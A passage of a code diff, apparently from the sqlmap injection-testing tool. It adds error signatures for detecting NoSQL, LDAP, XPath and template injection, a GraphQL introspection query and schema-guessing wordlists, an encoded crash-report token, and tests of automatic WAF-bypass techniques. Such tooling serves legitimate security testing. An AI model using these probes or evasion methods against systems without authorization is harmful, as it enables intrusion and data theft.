"ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
+CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
 
 # Patterns often seen in HTTP headers containing custom injection marking character '*'
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -678,6 +767,9 @@ TRIM_STDOUT_DUMP_SIZE = 256
 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
 DUMP_FILE_BUFFER_SIZE = 1024
 
+# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
+PURGE_BLOCK_SIZE = 1024 * 1024
+
 # Parse response headers only first couple of times
 PARSE_HEADERS_LIMIT = 3
 
@@ -708,8 +800,11 @@ DEFAULT_COOKIE_DELIMITER = ';'
 # Unix timestamp used for forcing cookie expiration when provided with --load-cookies
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
-# Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe"
+# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
+GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
+
+# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
+HASHDB_STALE_DAYS = 7
 
 # Flush HashDB threshold number of cached items
 HASHDB_FLUSH_THRESHOLD_ITEMS = 200
@@ -756,6 +851,11 @@ MAX_STABILITY_DELAY = 0.5
 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
 MAX_DNS_LABEL = 63
 
+# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
+# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
+# value is popped right after it is triggered, so only recent entries ever matter)
+MAX_DNS_REQUESTS = 1000
+
 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
 DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
 
@@ -766,11 +866,208 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
 
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
-DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
+DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
 
 # Regular expression used for recognition of file inclusion errors
 FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 
+# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
+NOSQL_ERRORS = (
+    ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
+    ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
+    ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
+    ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
+    ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"),
+    ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
+    ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
+    ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
+    ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
+    ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
+    ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
+)
+NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
+
+# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
+NOSQL_CHAR_MIN = 0x20
+NOSQL_CHAR_MAX = 0x7e
+
+# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
+NOSQL_MAX_FIELDS = 64
+
+# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
+NOSQL_MAX_RECORDS = 100
+
+# Upper bound for the length search during NoSQL blind extraction
+NOSQL_MAX_LENGTH = 1024
+
+# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
+GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
+
+# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
+# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
+GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
+    "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
+    "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
+GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
+    "email", "input", "password", "key", "filter", "slug", "title", "uid")
+
+# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
+# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
+# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
+GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
+  __schema {
+    queryType { name }
+    mutationType { name }
+    subscriptionType { name }
+    directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
+    types {
+      kind
+      name
+      fields(includeDeprecated: true) {
+        name
+        args {
+          name
+          defaultValue
+          type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+        }
+        type { kind name ofType { kind name ofType { kind name } } }
+      }
+      inputFields {
+        name
+        defaultValue
+        type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+      }
+      enumValues(includeDeprecated: true) { name }
+      specifiedByURL
+    }
+  }
+}"""
+
+# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
+# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
+# detection inside the GraphQL engine.
+GRAPHQL_PARSE_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
+    r"\bSyntax Error:\s*[^\"]",
+    r"\bExpected Name,\s*found\b",
+    r"\bUnexpected\s+<EOF>\b",
+)
+GRAPHQL_VALIDATION_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
+    r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"",
+    r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"",
+    r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b",
+    r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b",
+    r"\bExpected type\s+[^,]+,\s*found\b",
+    r"\bDid you mean\s+\"[^\"]+\"\b",
+)
+GRAPHQL_APQ_ERRORS = (
+    r"\bPersistedQueryNotFound\b",
+    r"\bPersistedQueryNotSupported\b",
+)
+GRAPHQL_RUNTIME_ERRORS = (
+    r"\bGraphQL\s+(?:resolver\s+)?error\b",
+)
+GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
+
+# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
+# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
+LDAP_ERROR_SIGNATURES = (
+    ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"80090308:\s*LdapErr"),
+    ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
+    ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
+    ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
+    ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
+    ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
+    ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
+    ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
+    ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
+    ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
+)
+
+# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
+# that an error response originates from an LDAP back-end rather than a generic HTTP 500
+LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
+LDAP_CHAR_MIN = 0x20
+LDAP_CHAR_MAX = 0x7e
+
+# Upper bound for the value-length search during LDAP blind extraction
+LDAP_MAX_LENGTH = 256
+
+# Maximum number of directory entries enumerated during LDAP blind dumping
+LDAP_MAX_RECORDS = 20
+
+# Attributes that definitively identify the backend vendor when probed on the RootDSE or
+# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
+LDAP_FINGERPRINT_ATTRIBUTES = (
+    ("objectGUID", None, "Microsoft Active Directory"),
+    ("vendorName", "OpenLDAP", "OpenLDAP"),
+    ("vendorName", "Apache Software Foundation", "ApacheDS"),
+    ("vendorName", "Oracle Corporation", "Oracle Directory Server"),
+    ("vendorName", "Red Hat", "389 Directory Server"),
+)
+
+# XPath error signatures per parser implementation for error-based detection and
+# fingerprinting (matched against HTTP response bodies). Each tuple is
+# (backend_name, regex_fragment).
+XPATH_ERROR_SIGNATURES = (
+    ("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"),
+    ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
+    ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
+    ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"),
+    (".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"),
+    (".NET XPathNavigator", r"Expression must evaluate to a node-set"),
+    (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
+    ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
+    ("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"),
+    ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
+    ("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"),
+    ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
+    ("Saxon (standalone)", r"Static error\(s\) in query"),
+    ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
+    ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
+    ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
+    ("eXist", r"exerr:ERROR"),
+    ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
+    ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
+    ("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
+)
+
+XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
+XPATH_CHAR_MIN = 0x20
+XPATH_CHAR_MAX = 0x7e
+
+# Maximum tree depth for recursive XML walking during XPath blind extraction
+XPATH_MAX_DEPTH = 32
+
+# Upper bound for the value-length search during XPath blind extraction
+XPATH_MAX_LENGTH = 256
+
+# SSTI error signatures per template engine for detection and fingerprinting.
+# Each tuple is (engine_name, regex_fragment).
+SSTI_ERROR_SIGNATURES = (
+    ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
+    ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"),
+    ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"),
+    ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
+    ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
+    ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
+    ("Pug/Jade", r"pug|jade|ParseError"),
+    ("Handlebars", r"handlebars|Handlebars|Parse error on line"),
+    ("Generic SSTI", r"template.*?(?:error|syntax|exception)"),
+)
+
+SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
+
+# Upper bound for SSTI value extraction (reserved for future use)
+SSTI_MAX_LENGTH = 256
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 
@@ -780,6 +1077,12 @@ MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
+# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
+KEEPALIVE_MAX_REQUESTS = 1000
+
+# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
+KEEPALIVE_IDLE_TIMEOUT = 30
+
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 
@@ -823,7 +1126,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -837,14 +1140,23 @@ LIMITED_ROWS_TEST_NUMBER = 15
 # Default adapter to use for bottle server
 RESTAPI_DEFAULT_ADAPTER = "wsgiref"
 
-# Default REST-JSON API server listen address
+# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
+# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
+# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
+# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
+# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
+# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
+# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
+RESTAPI_VERSION = "2.0.0"
+
+# Default REST API server listen address
 RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
 
-# Default REST-JSON API server listen port
+# Default REST API server listen port
 RESTAPI_DEFAULT_PORT = 8775
 
-# Unsupported options by REST-JSON API server
-RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard")
+# Unsupported options by REST API server
+RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")
 
 # Use "Supplementary Private Use Area-A"
 INVALID_UNICODE_PRIVATE_AREA = False
@@ -968,14 +1280,19 @@ for key, value in os.environ.items():
         _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
         if _ in globals():
             original = globals()[_]
-            if isinstance(original, int):
+            if isinstance(original, bool):
+                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, int):
                 try:
                     globals()[_] = int(value)
                 except ValueError:
                     pass
-            elif isinstance(original, bool):
-                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, float):
+                try:
+                    globals()[_] = float(value)
+                except ValueError:
+                    pass
             elif isinstance(original, (list, tuple)):
-                globals()[_] = [__.strip() for __ in _.split(',')]
+                globals()[_] = [__.strip() for __ in value.split(',')]
             else:
                 globals()[_] = value

lib/core/shell.py

@@ -40,6 +40,9 @@ try:
 except:
     readline._readline = None
 
+_atexitRegistered = False
+_activeCompletion = None
+
 def readlineAvailable():
     """
     Check if the readline is available. By default
@@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None):
         readline.parse_and_bind("tab: complete")
 
     loadHistory(completion)
-    atexit.register(saveHistory, completion)
+
+    # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the
+    # currently active shell. Registering a fresh atexit handler per call would make every shell
+    # write that one global buffer to its own path at exit, clobbering the others. Instead register
+    # a single handler that saves only the shell active at exit.
+    global _atexitRegistered, _activeCompletion
+    _activeCompletion = completion
+    if not _atexitRegistered:
+        atexit.register(lambda: saveHistory(_activeCompletion))
+        _atexitRegistered = True

lib/core/subprocessng.py

@@ -199,4 +199,9 @@ def send_all(p, data):
         sent = p.send(data)
         if not isinstance(sent, int):
             break
+        if sent == 0:
+            # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable;
+            # back off briefly instead of busy-spinning at 100% CPU until the child drains it
+            time.sleep(0.01)
+            continue
         data = buffer(data[sent:])

lib/core/target.py

@@ -412,7 +412,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -473,7 +473,9 @@ def _resumeHashDBValues():
     kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
     kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
     kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
-    kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
+    # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed
+    # "False" is a truthy string and would wrongly mark xp_cmdshell as available
+    kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable
 
     kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
     if isNumPosStrValue(kb.errorChunkLength):
@@ -619,7 +621,8 @@ def _createFilesDir():
     if not any((conf.fileRead, conf.commonFiles)):
         return
 
-    conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
+    # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
+    conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname))
 
     if not os.path.isdir(conf.filePath):
         try:
@@ -641,7 +644,9 @@ def _createDumpDir():
     if not conf.dumpTable and not conf.dumpAll and not conf.search:
         return
 
-    conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname)
+    # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a
+    # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt
+    conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname)))
 
     if not os.path.isdir(conf.dumpPath):
         try:

lib/core/testing.py

@@ -6,12 +6,15 @@ See the file 'LICENSE' for copying permission
 """
 
 import doctest
+import json
 import logging
 import os
 import random
 import re
+import shutil
 import socket
 import sqlite3
+import subprocess
 import sys
 import tempfile
 import threading
@@ -20,17 +23,23 @@ import time
 from extra.vulnserver import vulnserver
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import getSafeExString
 from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import shellExec
 from lib.core.compat import round
+from lib.core.compat import xrange
 from lib.core.convert import encodeBase64
+from lib.core.convert import getBytes
+from lib.core.convert import getText
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
 from lib.core.patch import unisonRandom
 from lib.core.settings import IS_WIN
+from lib.core.settings import RESTAPI_VERSION
 
 def vulnTest():
     """
@@ -48,9 +57,16 @@ def vulnTest():
         ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
         ("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
         ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
+        ("-u \"<url>&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")),   # JSON-response detection via the structure-aware oracle (no --string hint)
+        ("-u <url> --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection)
+        ("-u <url> --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent
